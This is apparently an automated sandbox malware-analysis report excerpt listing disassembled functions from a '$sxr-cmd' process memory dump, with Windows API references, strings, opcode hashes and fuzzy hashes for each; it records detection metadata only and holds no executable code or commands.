Instruction Fuzzy Hash: FD914C7AB09E82C5EE259B60D8502B9A7A1FF48FA8F544136C94EC76B5DF3CE9058700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615500580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 00007FF615500589
SetConsoleMode.KERNELBASE ref: 00007FF61550059E
_get_osfhandle.MSVCRT ref: 00007FF6155005AF
GetConsoleMode.KERNELBASE ref: 00007FF6155005C5
_get_osfhandle.MSVCRT ref: 00007FF6155005EF
GetConsoleMode.KERNELBASE ref: 00007FF615500605
_get_osfhandle.MSVCRT ref: 00007FF615500632
SetConsoleMode.KERNELBASE ref: 00007FF615500647
_get_osfhandle.MSVCRT ref: 00007FF615500684
SetConsoleMode.KERNELBASE ref: 00007FF615500699
_get_osfhandle.MSVCRT ref: 00007FF61550D891
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61550D8A6

Strings

CMD.EXE, xrefs: 00007FF61550065F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 3e686ae0276ad7ff8a78bb3c5d2715100bc0f58041da1ae85f5dc5c67167e71d
Instruction ID: 6c9843fea481ef5d1aba046070d816e438ed1534b20a4149ee100e1a56b56fa0
Opcode Fuzzy Hash: 3e686ae0276ad7ff8a78bb3c5d2715100bc0f58041da1ae85f5dc5c67167e71d
Instruction Fuzzy Hash: 3A41DE39A09E42CBE7548B25E855178BBA1BF89F75F558179C90EC3371DF3CA8148740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FC620 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE ref: 00007FF6154FC65E
wcschr.MSVCRT ref: 00007FF6154FC792

Strings

C:\Windows, xrefs: 00007FF6154FC8E2
:, xrefs: 00007FF6154FC9E2
/, xrefs: 00007FF6154FCA1B

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleTitlewcschr
String ID: /$:$C:\Windows
API String ID: 2364928044-2365244837
Opcode ID: 5be3b52e050be901e413cad103f4228bc73007883b0d085a4ae858b48071e86f
Instruction ID: 9afb0da88b59da8581de54fec2bb660caa9c198dd2d7e76d83625080bd12e683
Opcode Fuzzy Hash: 5be3b52e050be901e413cad103f4228bc73007883b0d085a4ae858b48071e86f
Instruction Fuzzy Hash: 90C18C65A0CE4282EA649B2DE4146B9E2A1EF81FB4F459132D91EC72F5EF3CEC54C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615508D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF615508DC4
_amsg_exit.MSVCRT ref: 00007FF615508DE0
_initterm.MSVCRT ref: 00007FF615508E64
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF615508E91
exit.MSVCRT ref: 00007FF615508EDE
_cexit.MSVCRT ref: 00007FF615508EED

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction ID: 185d2d96a5efd87cca98b64283d554c0954cfed03166cce1582965564f30eb76
Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction Fuzzy Hash: 9441D129A08E43C6FB609B21E940679A3A0AF54FA8F140436DA1DC7AB1DF7CEC458740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F89C0 Relevance: 9.1, APIs: 6, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6154F8A18

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetDriveTypeW.KERNELBASE ref: 00007FF6154F8A62
GetVolumeInformationW.KERNELBASE ref: 00007FF6154F8ABA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F8AE1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550B3FC
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61550B424

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveErrorInformationLastTypeVolume
String ID:
API String ID: 850181435-0
Opcode ID: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
Instruction ID: 5e42555abe09a5b70b44d68fb2c5f699ded8d4526c8c06f9d4248b15f0452a6a
Opcode Fuzzy Hash: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
Instruction Fuzzy Hash: 30418F36A08FD1C9EB608F24D8442EDB7A4FB89F64F554126DA4D8BB68CF38D955C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615504A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A28
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A66
RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A7D
memmove.MSVCRT(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A9A
RtlFreeHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504AA2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateEnvironmentFreeProcessStringsmemmove
String ID:
API String ID: 2247642577-0
Opcode ID: 802b6fabda809232f6ce418b0fbabebe6d7003abc813b1358966284b18434ee4
Instruction ID: 9b803e2876d83077d371ed9e94b4376a9a5af612e897382477d80f1dcc7b7ff4
Opcode Fuzzy Hash: 802b6fabda809232f6ce418b0fbabebe6d7003abc813b1358966284b18434ee4
Instruction Fuzzy Hash: 7C11A32AA15F92C2DE109B11B41403DFBA1FB89FA4B499035DE4E83B65DF3DEC418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615503060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615501EA0: wcschr.MSVCRT ref: 00007FF615501EB3

SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6154F92AC), ref: 00007FF6155030CA
SetErrorMode.KERNELBASE ref: 00007FF6155030DD
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155030F6
SetErrorMode.KERNELBASE ref: 00007FF615503106

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorMode$FullNamePathwcschr
String ID:
API String ID: 1464828906-0
Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
Instruction ID: b8d73753e9bf7b8a4d354222681db4987ea928d4ba8edb1db581a63bf688470d
Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
Instruction Fuzzy Hash: C531D129A08A5286E7249F15A40007EF761EB49FA8F659636DA5EC33F1DF7DEC458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615504AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F8798), ref: 00007FF615504AD6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F8798), ref: 00007FF615504AEF

Part of subcall function 00007FF615504A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A28
Part of subcall function 00007FF615504A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A66
Part of subcall function 00007FF615504A14: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A7D
Part of subcall function 00007FF615504A14: memmove.MSVCRT(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A9A
Part of subcall function 00007FF615504A14: RtlFreeHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504AA2

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F8798), ref: 00007FF61550EE64
RtlFreeHeap.NTDLL(?,?,?,00007FF6154F8798), ref: 00007FF61550EE78

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Free$AllocAllocateEnvironmentStringsmemmove
String ID:
API String ID: 3193623387-0
Opcode ID: 573339bfc65e46a6dc0536e612d39ff43a234acebcc174d4b54bf8b687b66270
Instruction ID: b5b3ca44af3574071aaaeae2f066e366963a1983f60bf04248fe2802cea198e7
Opcode Fuzzy Hash: 573339bfc65e46a6dc0536e612d39ff43a234acebcc174d4b54bf8b687b66270
Instruction Fuzzy Hash: 7FF0E769A19E42CAEE189B669404178E9D1EF8EF65B4D9434C90EC23A1EF3CA9448710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FCA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154FCAB3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61550C706

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00007FF61550C6E5

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: c44a4f921b2871da75a6341d1782bc5e11e8903ade1904c719f7b607e4e2203c
Instruction ID: 9c76e00c71eec368a665d3ac37612da98e7980b5a6d24d6966a5716322f817ba
Opcode Fuzzy Hash: c44a4f921b2871da75a6341d1782bc5e11e8903ade1904c719f7b607e4e2203c
Instruction Fuzzy Hash: 19117025A18F4681EB54CB69E1542B9A2A09F85FB4F184232DA6DCB7F5DF3CE8908314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FBE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154FBE52

Part of subcall function 00007FF6154FBFF0: wcschr.MSVCRT ref: 00007FF6154FC03E

Strings

COMSPEC, xrefs: 00007FF6154FBFC7
2, xrefs: 00007FF6154FBF20

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcschr
String ID: 2$COMSPEC
API String ID: 1764819092-1738800741
Opcode ID: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
Instruction ID: 27cc8f6fc7557881489dccf90d9a02b23547ebfdcce0909de8a7a8673c62a509
Opcode Fuzzy Hash: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
Instruction Fuzzy Hash: C2516D25A08E4285FB649B2DA4513B9A395AF46FA4F084033DA4EC66F9DF3CEC648741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615502EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF615502FA1
wcschr.MSVCRT ref: 00007FF615502FBC

Part of subcall function 00007FF61550823C: FindFirstFileExW.KERNELBASE ref: 00007FF615508280
Part of subcall function 00007FF61550823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550829D

wcsrchr.MSVCRT ref: 00007FF615502FEF

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$ErrorFileFindFirstLastwcsrchr
String ID:
API String ID: 4254246844-0
Opcode ID: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
Instruction ID: ec1127bf8386acc7cf0529950c417b0d68c0e4bfdc93b57ef294f9b8d612865c
Opcode Fuzzy Hash: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
Instruction Fuzzy Hash: 01418229A09F4286EE608B10E45537AE7A0EF85FA8F554532DA4EC77E5EF3CF8458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550498C Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155049BA
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6155049C8
RtlFreeHeap.NTDLL ref: 00007FF6155049E0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$EnvironmentFreeProcessVariable
String ID:
API String ID: 2643372051-0
Opcode ID: 515bd75455fc8bf0b419e36a5d89a3138a905a51cbad146b731857f3ffb38bca
Instruction ID: 28036bd79603fab6276f7459ebf30f5d04f7809509e0b239c05d19bc491cabe1
Opcode Fuzzy Hash: 515bd75455fc8bf0b419e36a5d89a3138a905a51cbad146b731857f3ffb38bca
Instruction Fuzzy Hash: 34F08166A19F42C6EB409B75F404075EAE1FF9DFB0B4A9235C92E833B1DF3C98448640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF615505A89
SetConsoleMode.KERNELBASE ref: 00007FF615505A9E
_get_osfhandle.MSVCRT ref: 00007FF615505AAC

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandle$ConsoleMode
String ID:
API String ID: 1591002910-0
Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
Instruction ID: 899d9afaafdd2ec3e0e30c465bc47621afe5f0b35e7d91df0a4c0575b6054e75
Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
Instruction Fuzzy Hash: 75F07439A09E02CBE644CB24E845078BBB0FB8AF31F564174C90E83331DF3CA8158B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE ref: 00007FF61550294A

Strings

:, xrefs: 00007FF615502942

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: DriveType
String ID: :
API String ID: 338552980-336475711
Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
Instruction ID: 06dbba96bafd741e61008b67e2f7b571703fc0a93dabe7a4228583d50effa83e
Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
Instruction Fuzzy Hash: F7E06D6A618A40C6EB209B60E45106AF7A0FB8DB58FC51525EA8DC3734EF3CD249CB08

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B5F29A0 Relevance: 3.2, APIs: 2, Instructions: 186memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000020D0B5F2A42
LoadLibraryA.KERNELBASE ref: 0000020D0B5F2AC9

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 12bc5f3573c2f4db11740c667e5c07846b01db0bf613c7666455f812f9685a17
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 5B6106B270A75287EB54CF96D858769F7A2FB04BA4F448415EF0D07BC6EA39D852C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
Part of subcall function 00007FF6154FCD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

Part of subcall function 00007FF615500A6C: _wcsnicmp.MSVCRT ref: 00007FF615500AFE
Part of subcall function 00007FF615500A6C: memset.MSVCRT ref: 00007FF615500B37
Part of subcall function 00007FF615500A6C: wcschr.MSVCRT ref: 00007FF615500B91
Part of subcall function 00007FF615500A6C: wcsrchr.MSVCRT ref: 00007FF615500C14

GetConsoleTitleW.KERNELBASE ref: 00007FF615505B52

Part of subcall function 00007FF615504224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615504297
Part of subcall function 00007FF615504224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155042D7
Part of subcall function 00007FF615504224: memset.MSVCRT ref: 00007FF6155042FD
Part of subcall function 00007FF615504224: memset.MSVCRT ref: 00007FF615504368
Part of subcall function 00007FF615504224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615504380
Part of subcall function 00007FF615504224: wcsrchr.MSVCRT ref: 00007FF6155043E6
Part of subcall function 00007FF615504224: lstrcmpW.KERNELBASE ref: 00007FF615504401

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF615505BC7

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
